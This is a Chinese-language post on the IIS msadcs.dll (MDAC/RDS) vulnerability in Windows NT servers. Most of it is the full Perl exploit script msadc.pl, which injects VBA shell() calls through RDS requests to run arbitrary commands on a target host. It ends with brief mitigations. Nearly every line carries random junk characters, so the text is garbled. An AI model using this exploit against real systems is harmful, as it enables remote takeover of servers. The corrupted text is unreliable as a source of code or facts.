IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
,t+ATaOF ,IJ Nuu\ 涉及程序:
Ic=V: Microsoft NT server
H+5]3>O-$ aY:(0en]& 描述:
f,L
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
pn $50c M.8!BB7\8e 详细:
w|nVK9. 如果你没有时间读详细内容的话,就删除:
EhFhL4Xdn c:\Program Files\Common Files\System\Msadc\msadcs.dll
l.)N 有关的安全问题就没有了。
Ba+OoS BWPYHWW}E 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
NUnP'X=J, a+~o: 5 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
l wg.'< 关于利用ODBC远程漏洞的描述,请参看:
;W+-x]O Z],"<[E http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm rb tV,Y 4P~<_]yf 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
\~)573' http://www.microsoft.com/security/bulletins/MS99-025faq.asp GO)rpk9 /MU<)[*Ro 这里不再论述。
>(*jbL]p f<;9q?0V F 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
-KNJCcBJ a;S^<8 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
UUU^YT \ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
C95,!q |TUpv*pq Np-D:G #将下面这段保存为txt文件,然后: "perl -x 文件名"
Q~@8t"P 9bNIaC*M #!perl
cY"^3Ot%^ #
*tO<wp& # MSADC/RDS 'usage' (aka exploit) script
B)Q'a3d# #
a,4g`? # by rain.forest.puppy
V]O
:;(W_ #
Ur-^X(nL # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
ZkIQ-;wx # beta test and find errors!
LuqaGy}>- .)3 2WD% use Socket; use Getopt::Std;
6+u'Tcb getopts("e:vd:h:XR", \%args);
d$TW](Bby ~JNuy"8 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
`?@7 KEl> \;6F-0 if (!defined $args{h} && !defined $args{R}) {
&rd(q'Vi
print qq~
I>5@s; Usage: msadc.pl -h <host> { -d <delay> -X -v }
$ B9=v -h <host> = host you want to scan (ip or domain)
=@w:
-d <seconds> = delay between calls, default 1 second
0@Ijk(| -X = dump Index Server path table, if available
|d 3agfS[n -v = verbose
*Z:PB%d5 -e = external dictionary file for step 5
"XY?v8*c +n, BD C; Or a -R will resume a command session
w?tKL0c jwq"B$ap ~; exit;}
HxM sH5; 0l=}v%D $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
EC~t'v if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
;9PM?Iy[ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
vRq xZN if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
DsX>xzM $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
ZH(.|NaH if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
dvD<>{U,8 LbR-uc?x if (!defined $args{R}){ $ret = &has_msadc;
WNb$2q= die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
RrHnDO' EDo@J2A print "Please type the NT commandline you want to run (cmd /c assumed):\n"
@(cS8%wK . "cmd /c ";
xB(:d'1| $in=<STDIN>; chomp $in;
x]ti3?w $command="cmd /c " . $in ;
<n\.S `g1Oon_ if (defined $args{R}) {&load; exit;}
]1&9~TL ~{+{p cO} print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
h2%:;phH &try_btcustmr;
>.iw8#l /=@vG Vp6 print "\nStep 2: Trying to make our own DSN...";
%&Cl@6 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
QVW6SY jEsTw_ print "\nStep 3: Trying known DSNs...";
MQ*#oVqv &known_dsn;
DH
!Br S
|x)7NC print "\nStep 4: Trying known .mdbs...";
c2^7"` &known_mdb;
OkZ! ZS
h psC7IE<v if (defined $args{e}){
I{zE73 print "\nStep 5: Trying dictionary of DSN names...";
yU|ji?)e &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
uB1!*S1f MI(i%$R-A print "Sorry Charley...maybe next time?\n";
C.E>) exit;
A7C+&I!L AE&n^vdQW ##############################################################################
GX)QIe~;qJ g8+,wSE sub sendraw { # ripped and modded from whisker
zb/Xfu.)?6 sleep($delay); # it's a DoS on the server! At least on mine...
@(c<av? my ($pstr)=@_;
@S7=6RKa[ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
H040-Q;S' die("Socket problems\n");
:
xZC7" if(connect(S,pack "SnA4x8",2,80,$target)){
aELT"b,x select(S); $|=1;
h!K2F~i{P print $pstr; my @in=<S>;
['emP1g~ select(STDOUT); close(S);
a{*'pY(R0$ return @in;
Z5Ihc%J^ } else { die("Can't connect...\n"); }}
_)E8XyzF qm=F6*@} ##############################################################################
0xUj#) @izi2ND sub make_header { # make the HTTP request
" B{0-H+ my $msadc=<<EOT
4p8jV*:@{ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
f*vk1dS:*3 User-Agent: ACTIVEDATA
mzB#O;3= Host: $ip
pqN[G=0 Content-Length: $clen
k6L373e#Q Connection: Keep-Alive
)[sO5X7'^ {H;|G0tR ADCClientVersion:01.06
t!SQLgA Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
E$tk1SVo 3Z:!o$ --!ADM!ROX!YOUR!WORLD!
htYrv5q=M Content-Type: application/x-varg
-Y=c g; Content-Length: $reqlen
d:pm|C|F $pfe2(8 EOT
$D s]\j* ; $msadc=~s/\n/\r\n/g;
8.Ef 5-m return $msadc;}
?gwbg* m=\eL~h ##############################################################################
%]0U60 #}7m'F sub make_req { # make the RDS request
|D`b7h my ($switch, $p1, $p2)=@_;
2{kfbm-89t my $req=""; my $t1, $t2, $query, $dsn;
UT<bv}(J Qz) 8eIO: if ($switch==1){ # this is the btcustmr.mdb query
tc<M]4- $query="Select * from Customers where City=" . make_shell();
\G=R hx f $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
o>;0NF| } $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
sQAc"S WFB|lNf& elsif ($switch==2){ # this is general make table query
@\`G & VB $query="create table AZZ (B int, C varchar(10))";
q4GW=@eD $dsn="$p1";}
R}X_2"" jjwMvf.R elsif ($switch==3){ # this is general exploit table query
]a!; `m$ $query="select * from AZZ where C=" . make_shell();
T:%wX9W $dsn="$p1";}
PnIvk]"Ab #D/ }u./ elsif ($switch==4){ # attempt to hork file info from index server
uU(G_E ? $query="select path from scope()";
q\t>D
_lU $dsn="Provider=MSIDXS;";}
FR,#s^kF sx<+ *Trl elsif ($switch==5){ # bad query
zg Y*|{4Sl $query="select";
0S:!Gv+ $dsn="$p1";}
qVD!/;l @VC9gdO/ $t1= make_unicode($query);
Qv0>Pf $t2= make_unicode($dsn);
@EP{VV $req = "\x02\x00\x03\x00";
7cmr
*y $req.= "\x08\x00" . pack ("S1", length($t1));
]7S7CVDk4 $req.= "\x00\x00" . $t1 ;
, HI%Xn
$req.= "\x08\x00" . pack ("S1", length($t2));
ym*#ZE`B! $req.= "\x00\x00" . $t2 ;
2PP-0
E $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
BdB` return $req;}
ooU Sb dbT^9: Q ##############################################################################
@z$pPo0fW D0y,TF sub make_shell { # this makes the shell() statement
`-K)K< return "'|shell(\"$command\")|'";}
?Y6la.bc{ >c
y.]uB ##############################################################################
@7l=+`.i zGL<m0C sub make_unicode { # quick little function to convert to unicode
2mG&@E my ($in)=@_; my $out;
hXQg=Sj for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
l`FR.)2h return $out;}
a EFe!_QY w
HHF=Q ##############################################################################
w[YkTv v`+n`DT sub rdo_success { # checks for RDO return success (this is kludge)
vgQhdtt my (@in) = @_; my $base=content_start(@in);
kk_9G-M if($in[$base]=~/multipart\/mixed/){
G9'YgW+$7 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
?V5Pt s return 0;}
vi! r8k kL PO+lg+ ##############################################################################
8~s-t =O3I[ sub make_dsn { # this makes a DSN for us
*4hOCQ[ my @drives=("c","d","e","f");
\p@nH%@v print "\nMaking DSN: ";
}Cmj (k`~ foreach $drive (@drives) {
3
!> L? print "$drive: ";
0(U3~k6 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
t=W$'*P0} "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Ca5Sc, no . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
kJ#[UCqzM $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
WrHgF*[ return 0 if $2 eq "404"; # not found/doesn't exist
[Z5}2gB& if($2 eq "200") {
\p3nd!OIG foreach $line (@results) {
CdzkMVH return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
+ 1+A3 } return 0;}
/[nZ#zj!3 =Qj+Ug' ##############################################################################
*<.WL"Qhl Yn$>QS 4 sub verify_exists {
SD|4ybK>d my ($page)=@_;
8!&ds~? my @results=sendraw("GET $page HTTP/1.0\n\n");
=Y]'5cn{ return $results[0];}
qtdxMX]iR VO @
4A6 ##############################################################################
zy5s$f1IA EN-8uY. sub try_btcustmr {
1fO2)$Y my @drives=("c","d","e","f");
fUp|3bBE my @dirs=("winnt","winnt35","winnt351","win","windows");
`Dz]z_
mHI4wS>()+ foreach $dir (@dirs) {
D?\" print "$dir -> "; # fun status so you can see progress
@\6nXf foreach $drive (@drives) {
%7C%`)T] print "$drive: "; # ditto
nv_m!JG7 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
s`Be#v $reqlenlen=length( "$reqlen" );
vh. Wm?qQ $clen= 206 + $reqlenlen + $reqlen;
mV**9-" -n=$[-w my @results=sendraw(make_header() . make_req(1,$drive,$dir));
"u Of~e" if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
c>u>Pi;Z else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
eHR&N.2 j h1 bn ##############################################################################
Y @XkqvX $K6?(x_ sub odbc_error {
#!8^!}nFO my (@in)=@_; my $base;
i)@U.-*5m my $base = content_start(@in);
<@U. if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
\N`fWh8& $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?O<`h~'$+ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(^tr}?C $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
>Bh)7>`3c return $in[$base+4].$in[$base+5].$in[$base+6];}
]5o0 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
_A;vSp.` print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
8u:v:>D.' $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
as\<nPT{Fj ^(dGO)/ ##############################################################################
E'&OOEMN- )tN?: l sub verbose {
qEK4I}Q-= my ($in)=@_;
KlVi4.] return if !$verbose;
>YJ8u{Z{o print STDOUT "\n$in\n";}
#uD)0zdw e9z$+h ##############################################################################
u|m[(-` gJ FR1 sub save {
r6F{ my ($p1, $p2, $p3, $p4)=@_;
>+Sv9S open(OUT, ">rds.save") || print "Problem saving parameters...\n";
RI[7M ( print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
}J+ce close OUT;}
F.~n )){PBT}t] ##############################################################################
zqHpT^B? pIID=8RJ. sub load {
vi[#?;pkF my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
1R'u v4e open(IN,"<rds.save") || die("Couldn't open rds.save\n");
3:]{(@J @p=<IN>; close(IN);
PZ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
)XmCy"xx $target= inet_aton($ip) || die("inet_aton problems");
AkYupP2]v print "Resuming to $ip ...";
G8^0^@o $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
":UWowJO if($p[1]==1) {
2X qTyf< $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
pY{; Yn&t $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
'L>&ZgLy my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
3iu!6lC if (rdo_success(@results)){print "Success!\n";}
L\/u}]dPQ else { print "failed\n"; verbose(odbc_error(@results));}}
~
V@xu{ elsif ($p[1]==3){
3o+KP[A if(run_query("$p[3]")){
L?=#*4t print "Success!\n";} else { print "failed\n"; }}
{f`lSu elsif ($p[1]==4){
_L&n&y1+% if(run_query($drvst . "$p[3]")){
IZ4W_NN print "Success!\n"; } else { print "failed\n"; }}
b{~fVil$y exit;}
]Y_{P~ZX \GijNn9ah ##############################################################################
-:)DX++ ;,v!7 sub create_table {
s"I-YFP%c my ($in)=@_;
_-4n~( $reqlen=length( make_req(2,$in,"") ) - 28;
A|p@\3P*A $reqlenlen=length( "$reqlen" );
?o2;SY(- $clen= 206 + $reqlenlen + $reqlen;
uI%N? my @results=sendraw(make_header() . make_req(2,$in,""));
4)3g!o? return 1 if rdo_success(@results);
*A~($ZtL my $temp= odbc_error(@results); verbose($temp);
;jRL3gAe) return 1 if $temp=~/Table 'AZZ' already exists/;
[n!$D(|"!V return 0;}
{ c v;w 6V'wQqJ ##############################################################################
QRsqPh&- 3[MdUj1y[ sub known_dsn {
:`:xP # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
=3h+=l[ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
!7A"vTs "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
:.C+?$iuX "banner", "banners", "ads", "ADCDemo", "ADCTest");
:wQC_; ??%)|nj. foreach $dSn (@dsns) {
C/mg46
v2W print ".";
@MNl*~'$.[ next if (!is_access("DSN=$dSn"));
pY^pTWs( if(create_table("DSN=$dSn")){
AC9{*K[ print "$dSn successful\n";
ggerh# if(run_query("DSN=$dSn")){
J|n(dVen/ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Jn@Z8%B@Z print "Something's borked. Use verbose next time\n";}}} print "\n";}
+\+Uz!YS Cr'
!"F ##############################################################################
kR<xtHW B1|?RfCe sub is_access {
WuBmdjZ my ($in)=@_;
!a' K & $reqlen=length( make_req(5,$in,"") ) - 28;
yr
FZ~r@- $reqlenlen=length( "$reqlen" );
*D\0.K,o $clen= 206 + $reqlenlen + $reqlen;
pG)9=X!9 my @results=sendraw(make_header() . make_req(5,$in,""));
whV&qe;sw my $temp= odbc_error(@results);
gsW=3m&` verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Z6 t E{/ return 0;}
LiiK3!^i 4st~3,lR$ ##############################################################################
@)9REA(U Jb(DJ-& sub run_query {
Ya~ "R#Uy my ($in)=@_;
99J+$A1 $reqlen=length( make_req(3,$in,"") ) - 28;
I)[`ZVAXR $reqlenlen=length( "$reqlen" );
IO}+[%ptc* $clen= 206 + $reqlenlen + $reqlen;
;l$9gD>R my @results=sendraw(make_header() . make_req(3,$in,""));
n"(7dl? return 1 if rdo_success(@results);
BmJkt3j." my $temp= odbc_error(@results); verbose($temp);
MB1sQReOO return 0;}
4O$ mR l*$WX=h6n ##############################################################################
?g5iok { WLE%d]'%M sub known_mdb {
5i^ `vmK my @drives=("c","d","e","f","g");
`2>XH:+7F my @dirs=("winnt","winnt35","winnt351","win","windows");
`>%- my $dir, $drive, $mdb;
7;^((.]ln my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
V@B7P{gH `Ac:f5a # this is sparse, because I don't know of many
7@FDBjq my @sysmdbs=( "\\catroot\\icatalog.mdb",
Kp8fh-4_ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
)\8URc|J "\\system32\\certmdb.mdb",
cN62M=** "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
^gd<lo g E^7C
_JP my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
aPprMQ5 "\\cfusion\\cfapps\\forums\\forums_.mdb",
,oBlJvm "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
:aHcPc: "\\cfusion\\cfapps\\security\\realm_.mdb",
=.DTR5(_h "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Sbp "\\cfusion\\database\\cfexamples.mdb",
aD+0\I[x "\\cfusion\\database\\cfsnippets.mdb",
z9^c]U U)E "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Cy`26[E$S "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
D)y{{g*Lnm "\\cfusion\\brighttiger\\database\\cleam.mdb",
PXa5g5! "\\cfusion\\database\\smpolicy.mdb",
s\6N }[s "\\cfusion\\database\cypress.mdb",
p Z"o@';! "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
nlaG<L# "\\website\\cgi-win\\dbsample.mdb",
|Mt&p#y "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
\xF;{}v "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
{z=j_;<] ); #these are just
oBb?"2 ~9 foreach $drive (@drives) {
4 ^4d9?c foreach $dir (@dirs){
]Qd{ '}+ foreach $mdb (@sysmdbs) {
dl:-k r8 print ".";
it~Z|$ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
5bXHz5i print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
r)Or\HL if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
WPtMds4 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Og=[4?Kpk } else { print "Something's borked. Use verbose next time\n"; }}}}}
4e}{$s$Xx *vb ^N0P foreach $drive (@drives) {
kQy&I3 foreach $mdb (@mdbs) {
CF\R<rF<VS print ".";
%Mh Q
if(create_table($drv . $drive . $dir . $mdb)){
<3lUV7! print "\n" . $drive . $dir . $mdb . " successful\n";
l"kxr96 if(run_query($drv . $drive . $dir . $mdb)){
c!mG1lwD. print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
"@4ghot t } else { print "Something's borked. Use verbose next time\n"; }}}}
:VJV 5f{ }
N ,+(>?yE *
flW L ##############################################################################
r?\|f:M3 B=r0?%DX"1 sub hork_idx {
TiQ^}5~M print "\nAttempting to dump Index Server tables...\n";
GYd]5`ri print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
EA6t36|TX $reqlen=length( make_req(4,"","") ) - 28;
+GYS26 $reqlenlen=length( "$reqlen" );
W+.{4K $clen= 206 + $reqlenlen + $reqlen;
inZi3@h)T my @results=sendraw2(make_header() . make_req(4,"",""));
8`*`nQhWa if (rdo_success(@results)){
\2j|=S6 my $max=@results; my $c; my %d;
6ga5^6W for($c=19; $c<$max; $c++){
*o!l/>4g $results[$c]=~s/\x00//g;
@7fm1b $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
vGMJ ^q $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
p!}ZdX[u $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
t-!m
vx9Z $d{"$1$2"}="";}
4#_$@ r foreach $c (keys %d){ print "$c\n"; }
M'DWu|dIBA } else {print "Index server doesn't seem to be installed.\n"; }}
sXiv, Xk?R mU6 ##############################################################################
e{0L%%2K x~EKGoz3 sub dsn_dict {
Rjq a_hxrS open(IN, "<$args{e}") || die("Can't open external dictionary\n");
%J _ymJ'pd while(<IN>){
i|S:s $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
g,=^'D next if (!is_access("DSN=$dSn"));
b~*i91)\ if(create_table("DSN=$dSn")){
F?cq'd print "$dSn successful\n";
5/ * >v if(run_query("DSN=$dSn")){
VRF6g|0; print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
t7bqk!6hM\ print "Something's borked. Use verbose next time\n";}}}
SRItE\"Xe print "\n"; close(IN);}
ei|cD[
NY \DS^i`o)rY ##############################################################################
MxTmWsaW )&,K94
sub sendraw2 { # ripped and modded from whisker
7TpRCq# sleep($delay); # it's a DoS on the server! At least on mine...
Ig9d#c my ($pstr)=@_;
g_vm&~U/' socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
GD&htob( die("Socket problems\n");
ZE
rdt:w if(connect(S,pack "SnA4x8",2,80,$target)){
bK4&=#Zh print "Connected. Getting data";
x,\!DLq:p open(OUT,">raw.out"); my @in;
R*bmu select(S); $|=1; print $pstr;
B)6#Lp3 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
t.)AggXj# close(OUT); select(STDOUT); close(S); return @in;
=Dk7RKoHF } else { die("Can't connect...\n"); }}
\2>?6zs nvt$F%+ ##############################################################################
k;Hnu SO3cY#i
z" sub content_start { # this will take in the server headers
+xp*]a my (@in)=@_; my $c;
_B[WY for ($c=1;$c<500;$c++) {
:6D0j if($in[$c] =~/^\x0d\x0a/){
!y. $J< if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
\I:.<2i else { return $c+1; }}}
aMJ;bQD
return -1;} # it should never get here actually
W#{la`#Bu h/K@IAd ##############################################################################
#tDW!Xv? Y)Tl< sub funky {
5g>wV
my (@in)=@_; my $error=odbc_error(@in);
CT p!di| if($error=~/ADO could not find the specified provider/){
7$7n71o print "\nServer returned an ADO miscofiguration message\nAborting.\n";
H\#:,s {1 exit;}
qfrNi1\9- if($error=~/A Handler is required/){
7@l<?
( print "\nServer has custom handler filters (they most likely are patched)\n";
="'- & exit;}
.6m_>Y6 if($error=~/specified Handler has denied Access/){
f{ ^:3"i print "\nServer has custom handler filters (they most likely are patched)\n";
b\giJ1NJB exit;}}
R=M!e<' wa ky<w, ##############################################################################
X#ZgS!Mn 5)M2r!\ sub has_msadc {
Fw"$A0 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
~5 >[`) my $base=content_start(@results);
-DCa
return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
4pPI'd&/7 return 0;}
e_rzA S4bBafj[I ########################
%4,?kh``D m|F:b}0Hb wz=z?AZW 解决方案:
P1V1as 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
d~Mg
vh' 2、移除web 目录: /msadc